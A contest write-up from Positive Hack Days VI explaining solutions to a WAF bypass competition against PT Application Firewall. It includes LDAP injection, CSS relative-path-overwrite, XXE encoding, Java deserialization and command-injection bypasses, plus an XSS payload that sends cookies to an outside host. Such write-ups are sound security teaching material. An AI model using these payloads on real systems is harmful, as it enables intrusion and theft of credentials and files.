PHDays VI: WAF Bypass Contest

6/14/2016

The WAF Bypass competition, now an annual event held during Positive Hack Days, an international forum on information security, was organized in May this year as well. The contest’s participants attempted to bypass the security checks of PT Application Firewall that protected vulnerable applications. Positive Technologies specialists had introduced configuration errors that allowed some bypassing of the system. The goal of each task was to retrieve a flag stored in a database, file system or in cookies given to a special bot. Below is description and solutions of the contest’s tasks.

1. m0n0l1th

In this task, participants performed in LDAP injection to retrieve the admin password from the LDAP storage. There was a form with an input for a username, which passed directly into an LDAP query.

Standard vectors such as admin)(|(password=*) were blocked by regular expressions, however, it was possible to bypass the block by adding spaces between operands in the query:

admin)(%0a|(password=*)

Further, to obtain the password a contestant needed to bruteforce each character:

admin)(%0a|(password=r*)
admin)(%0a|(password=r9*)
admin)(%0a|(password=r9b*)
admin)(%0a|(password=r9b8*)
admin)(%0a|(password=r9b8b*)
admin)(%0a|(password=r9b8ba*)

...

2. p0tat0

Upon opening the task, a contestant viewed the following page:

A relevant piece of the HTML code was as follows:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

There are several key points in the above HTML. First of all, DOCTYPE declares transitional HTML syntax, which allows lax CSS parsing. Secondly, there is a flag between the link and the script tags which are not separated with line breaks.

It may seem that there is no way for an attacker to affect the static page, however if one sends a request such as /index.php/test, they will see that the path is reflected in both link and script tags. And instead of a 404 error, the same page is returned. This happens due to features of the Apache web server (although some other web servers behave the same way).

The first thing to try in such case is definitely XSS, but any quotes and opening tags were escaped. To solve this task, another method should be applied, specifically Relative Path Overwrite (RPO). RPO exploits lax CSS parsing in browsers, which forces the victim to correctly interpret a CSS style injection in an HTML document. Those CSS styles can be used to send user personal data to a remote server. The injection vector was as follows:

/index.php/%250a*%7B%7D%250abody%7Bbackground:red%7D%250a/

Upon sending this request, the browser loads the CSS style via:

/index.php/%0a*{}%0abody{background:red}%0a//../styles.css

The browser detects valid CSS styles in the HTML code it receives in response:

An exploit for this task involves the use of CSS properties that allow sending of a flag to a remote server located between the two fragments of the text under the control of the attacker. Example:

/index.php/')%7D%250a%250a*%7B%7D%250abody%7Bbackground:url('http://test.com/

<pHowever, the contest prohibited the use of CSS property keywords that trigger a request to another website: import, content, image, background, font.

While the above restrictions impose some limits, there are several other CSS properties that leak requests. If you look at all of the known methods listed in the project HTTP Leaks, and notice that there is an HTML list in the source code, you will easily determine that the following vector is not blocked:

/index.php/')%7D%250a%250a*%7B%7D%250abody%7Blist-style:url('http://test.com/

Such a request forces a bot based on PhantomJS to send a flag:

3. d3rr0r1m

The contest WAF Bypass usually includes a task on bypassing XXE. This year no one managed to bypass our checks or find a bypass method. Any injections (via common entities, parameter entities, DOCTYPE, etc.) were blocked, however if a contestant encoded the body in UTF-16 Big Endian via the command cat x.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml and removed a BOM, they would be able to bypass the check and read a flag from the file system.

4. f0dn3

In this task, a participant had access to a simple ToDo manager that was able to save and restore a to-do list from the file:

In HEX view a serialized Java object could be recognized (notice magic bytes 0xac 0xed at the beginning).

Deserializing user-supplied Java objects can lead to the execution of arbitrary commands on a server if there are vulnerable libraries. We deliberately included vulnerable commons-collections 4 in CLASSPATH, which allowed a contestant to perform RCE. However, on the PT Application Firewall, we banned two strings that were present in the exploits generated with ysoserial, a tool commonly used for the exploitation of this vulnerability. The first string is “ysoserial” itself and the second one is “iTransformers”, which is present in three ysoserial exploits out of five. To solve the task a participant needed to rename classes and package names, delete the string ysoserial, and at the same time use one of the exploits without the string iTransformers.

5. n0ctf

A simple ping service with an input for IP address was on the task’s page. Many contestants began by inserting a quote, and user data passed directly into the system command call. Although most command structures were blocked, the following vectors bypassed the checks:

8.8.8.8|${IFS}cat /etc/flag
-c 1 ya.ru;/*in/cat /etc/flag
1.2.3.4|${a-cat /etc/flag}

6. c1tyf

To solve this task, contestants needed to bypass the Cross-Site Scripting check in the context of JavaScript code. The protection algorithm was described by Arseny Reutov and Denis Kolegov in the talk “Waf.js: How to protect web applications with JavaScript” that was held at Positive Hack Days VI. In a nutshell, the algorithm inserts user data in different contexts and tries to parse the string as JavaScript code. If an AST is built and it contains restricted nodes, then we block such request. For example, the simplest vector "+alert(1)+" will be blocked, because after substitution in the context with double quotes, a forbidden CallExpression node appears in the AST. However, for the competition, the WithStatement node was not included in the list of forbidden nodes, which allowed bypassing the check by using the following vector:

http://c1tyf.waf-bypass.phdays.com/?name=\"};with(window){onload=function(){ with(document){k=cookie;};with(window){location='http://robotsfreedom.com/phdays/?a=test'%2bk;};}}//;

Results

Three years in a row, the winner is George Noseevich (@webpentest), he received an iPad Air 2, and the second place went to Ivan Novikov (d0znpp), he got a one-year license for Burp Suite Pro. Vladas Bulavas (vladvis) came in third.

During the contest 31,412 requests were blocked.

The number of attacks of different types:

The number of attacks within the individual tasks:

Thanks to the prize winners and all the participants!

The contest was created by Arseny Reutov, (Raz0r), Igor Kanygin (akamajoris), Dmitry Nagibin, Denis Kolegov, Nikolay Tkachenko, Pavel Sviridov and the PT Application Firewall Team.